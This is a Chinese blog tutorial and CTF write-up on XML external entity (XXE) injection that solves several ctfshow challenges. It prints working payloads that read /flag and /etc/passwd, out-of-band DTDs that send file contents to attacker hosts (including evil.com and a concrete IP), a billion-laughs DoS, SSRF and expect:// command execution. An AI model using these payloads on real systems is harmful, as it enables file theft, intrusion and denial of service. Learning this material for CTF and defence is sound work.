0x01 前言
前两天看了一下xxe
的题目,感觉也可以来补补这个基础知识来,为了这个,还浅浅的了解了一下伪协议
0x02 question
xml了解
XML(Extensible Markup Language,可扩展标记语言)是一种用于存储和传输数据的标记语言,它类似于 HTML,但更加灵活,主要用于定义数据,而不是显示数据。XML 的设计目标是数据的可移植性、可读性以及易于扩展。也就是和序列化差不多的特点(但是不能混为一谈哦)
XML 文档的结构通常由三部分组成:XML 声明、**DTD(可选的文档类型定义) **和 **元素(内容部分) **。
写一个xml
的demo
来分析这三个结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE bookstore SYSTEM "bookstore.dtd">
<bookstore>
<book category="fiction">
<title lang="en">The Great Gatsby</title>
<author>F. Scott Fitzgerald</author>
<year>1925</year>
<price>10.99</price>
</book>
<book category="non-fiction">
<title lang="en">Sapiens: A Brief History of Humankind</title>
<author>Yuval Noah Harari</author>
<year>2011</year>
<price>14.99</price>
</book>
</bookstore>
|
xml声明
这个东西就类似于,使用C语言编程的
所以也就是基本固定的,只不过有些选项是可选的
1
| <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
standalone="yes"
:表示这个 XML 文档是否依赖外部的 DTD 或其他外部实体。选项有:
yes
:表示文档是自包含的,不依赖外部定义。no
:表示文档依赖外部 DTD 或实体。
但是由于我们xxe
是xml外部实体注入(等会说),所以肯定是不写这个或者是写no
DTD
而这里又分为内部实体\外部实体\字符实体\参数实体,都是为了方便做参数替换来使用的,可以帮助简化和减少代码冗余。然后再使用&
进行调用(和C一样)
1
2
3
| <!DOCTYPE user [
<!ENTITY file SYSTEM "file:///flag">
]>
|
一个很普通的DTD,这里主要就是想强调一个点
这里是要写根元素的,而不是想怎么写就怎么来(实际上好像不这么写也能生效)
内部实体
比如说
1
2
3
4
5
6
| <!DOCTYPE example [
<!ENTITY author "Linjiang Zheng">
]>
<example>
<author>&author;</author>
</example>
|
那么此刻author
表单的内容就是Linjiang Zheng
外部实体
1
| <!ENTITY 实体名称 SYSTEM "URL or path">
|
还是写个Demo
1
2
3
4
5
6
7
| <!DOCTYPE llw [
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>1</password>
</user>
|
就比如我们常见的,直接利用协议进行flag
的读取

这些协议都可以使用
参数实体
1
| <!ENTITY % 实体名称 SYSTEM "URL or path">
|
与外部实体略有不同
1
2
3
4
| <!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
|
注意这种写法只可以在dtd
文件中使用,也就是打无回显的xxe
字符实体
预定义
这些是XML标准中已经定义好的一些常见字符,例如:
1
2
3
4
5
| < 表示小于号 <
> 表示大于号 >
& 表示与号 &
" 表示双引号 "
' 表示单引号 '
|
数字
- 十进制数字实体:形式为
&#decimal;
,其中 decimal
是字符的十进制Unicode码点。 - 十六进制数字实体:形式为
&#xhex;
或 &#Xhex;
,其中 hex
是字符的十六进制Unicode码点。
比如说
1
2
| <user><</user>
<user><</user>
|
都表示<
原字符 | 预定义 | 十六进制参考 | 十进制参考 |
---|
" | " | " | " |
& | & | & | & |
' | ' | ' | ' |
< | < | < | < |
> | > | > | > |
| | | |
这张表格由于解析问题只能手做服了
PCDATA&&CDATA
PCDATA 是 “Parsed Character Data” 的缩写,表示可解析的字符数据。也就是说,PCDATA 中的字符会被解析器解析,并根据 XML 或 HTML 的语法规则进行处理。
在 PCDATA 中,某些字符(如 <
、&
等)不能直接使用,必须进行转义或作为标签来使用。例如 <
被解析为标签的开始,&
被解析为实体引用的开始。
1
2
3
4
| <note>
<to>Tove</to>
<message>Hello,<world></b>!</message>
</note>
|
CDATA 是 “Character Data” 的缩写,表示不可解析的字符数据。也就是说,CDATA 部分的内容会被当作纯文本处理,不会进行解析。
CDATA 区块中的所有字符,包括特殊字符(如 <
、>
和 &
),都会被当作原始文本保留,而不是作为标签或实体解析。
1
| <message><![CDATA[Hello, <b>world</b>!]]></message>
|
特性 | PCDATA | CDATA |
---|
解析 | 解析器会解析 PCDATA 的内容,并识别标签或实体引用。 | CDATA 中的内容不会被解析,全部作为文本处理。 |
使用特殊字符 | 必须对特殊字符(如 < 和 & )进行转义。 | 特殊字符可以直接使用,不需要转义。 |
典型用途 | 适用于普通文本和可解析的标记内容。 | 适用于代码片段或不希望被解析的文本内容。 |
定义形式 | 直接包含在元素内容中。 | 使用 <![CDATA[...]]> 声明来包含数据。 |
嵌套标签 | 可以解析嵌套标签(如 <b> ),并按标签的定义渲染。 | 嵌套标签不会被解析成标记,而是作为文本内容显示。 |
元素
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
|
元素顺序是固定了的,所以在书写的时候也必须按着这个写,然后捏插入特殊符号也不能直接写
xml的书写特性
- 所有XMl元素必须有一个闭合标签
- XMl标签对大小写敏感
- XMl必须正确嵌套
- XML属性值必须加引号
- 实体引用
- 在XMl中,空格会被保留
xxe
看了上面的东西其实也就会写个最简单的请求,不要晕了
xxe是xml外部实体注入漏洞,那么既然是外部实体,所以其他的也就没有那么的重要,既然是注入那么这里有张图可以参考

那么漏洞原理是什么呢
让服务端在解析XML文档时,对声明的外部实体进行引用,实际触发攻击者预定的文件、网络等资源操作,甚至是执行系统命令
这里的Demo就选择ctfshow web
入门的xxe
模块吧
Demo1
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
|
可以进行外部实体加载,并且正常读取xml
文档,读取ctfshow
元素,根元素自己写
写个poc
1
2
3
4
| <!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<wi><ctfshow>&xxe;</ctfshow></wi>
|
直接打入即可,刚写的时候可能是容易写错的,我就写错了,所以建议找个在线xml
辨别器
Demo2
web374
1
2
3
4
5
6
7
8
9
10
| <?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
|
这里一看就没有回显了,所以payload其实不用太大的改变,只是我们需要进行dtd的远程书写一下
现在自己vps上面写一个test.dtd
,我建议是在dtd里面写多些关键文件,这样子是不会被pass
的
1
2
3
4
| <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://ip:9999/?x=%file;'>">
%eval;
%exfiltrate;
|
payload
1
2
3
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://ip/test.dtd">%xxe;]>
<root><ctfshow>123;</ctfshow></root>
|
然后监听端口9999
即可,这里的IP必须写能够进行web
服务的,如果是开的特殊端口的话要把端口加上
其实我自己写的时候卡了一会,因为我不理解为什么定义参数实体的时候写成%
而不是直接就写%
,后来想了想问了几个师傅,其实应该算是一种固定格式吧,因为参数实体的定义是
1
2
3
| % name
这里为了正常的解析
% 也就是使用了16进制字符实体,这里的;是为了隔断解析方式
|
比如前面解析的时候是用的Unicode,但是我后面是需要正常解析才行的,所以就用;
进行隔断
可能还有一个小小的疑惑(第二天早上突然发现)就是为什么没有进行&xxe;
的实体调用,我看网上很多payload
都是这么写的,但是我这里三个实体都是参数实体,直接就调用了,所以在他们进行外部实体调用的时候我随便写个123也可完成xxe
Demo3
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
|
那么当禁用了http的时候我们怎么操作呢,很简单,写个脚本来编码绕过即可
1
2
3
4
5
6
7
8
| import requests
url="https://91baacfb-f234-4f53-bc4f-412652b34241.challenge.ctf.show/"
data='''
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://27.25.151.48:12138/test.dtd">%xxe;]>
<root>123;</root>
'''.encode('utf-16')
r=requests.post(url,data,verify=False)
|
其实这里的话这个元素怎么猜,这就是能猜了呀,因为本身是ctfshow
的本台要么就是ctfshow
,要么就是root
这些默认的,不写声明也能xxe
大家应该知道吧
Demo4
ctfshow web378
这里直接默认就登录成功了,也不需要爆破,但是没有进入理想的页面,抓包发现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| Rsponse:
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
|
这里看到源码,从这里也可以浅浅的看到
1
| var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
|
xxe
确实是一种注入的攻击手法
看到是进行xml
文档的登录,所以直接xxe
,这里看一下发包吧主要就是也有一些地方要改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| Request:
POST /doLogin HTTP/1.1
Host: 75a0196a-e978-4264-86a2-1cccf066c2a6.challenge.ctf.show
Cookie: cf_clearance=VDdapNbpwbPn6a1IM_PxJ0JXmcd0KRqr0Bf_cjtzjRY-1722865983-1.0.1.1-z9eFIJzdq2FOhOt1m9jPdicCjw4UPrBmoItiz1nAqzyxbXVOdGYDAqZJdUurUqU3FJLTgOSn3lo8Eml1_VWjXg
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i
Connection: close
Content-Type: application/xml;charset=utf-8
Content-Length: 122
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>123</password></user>
|
这四个Demo基本就覆盖了一些类型,当然肯定有其他的进攻点,但是手法思路都是这个,只需要改改协议什么的就可以了
还有就是这四个Demo的,有些特别是blind不用和我写的一样,我其实发现了很多写法,可以自己尝试一下
参考payload
文件读取
1
2
3
4
5
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
|
blind 文件读取
1
2
3
4
| <!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://evil.com/xxeoobdetector"> %xxe;
]>
<foo/>
|
1
2
3
| <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % def "<!ENTITY % send SYSTEM 'http://evil.com/?data=%file;'>">
%def; %send;
|
DDoS
1
2
3
4
5
6
7
8
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY dos "dos">
<!ENTITY dos1 "&dos;&dos;&dos;&dos;&dos;">
<!ENTITY dos2 "&dos1;&dos1;&dos1;&dos1;&dos1;">
<!ENTITY xxe "&dos2;&dos2;&dos2;&dos2;&dos2;">
]>
<foo>&xxe;</foo>
|
ssrf\include
1
2
3
4
5
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/">
]>
<foo>&xxe;</foo>
|
RCE
1
2
3
4
5
6
7
8
| <?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>
|
fix
直接禁用外部实体加载即可,或者是bypass这方面多点关键词
0x03 小结
这篇文章我本人觉得写的很烂,因为并没有从代码中去实际的探寻其中的奥秘,而且网上参考资料也很少,所以这里给十月的我立一个flag,从某个CVE中再度解析xxe
0x04 reference
网上的大部分文章都有看,感谢师傅们!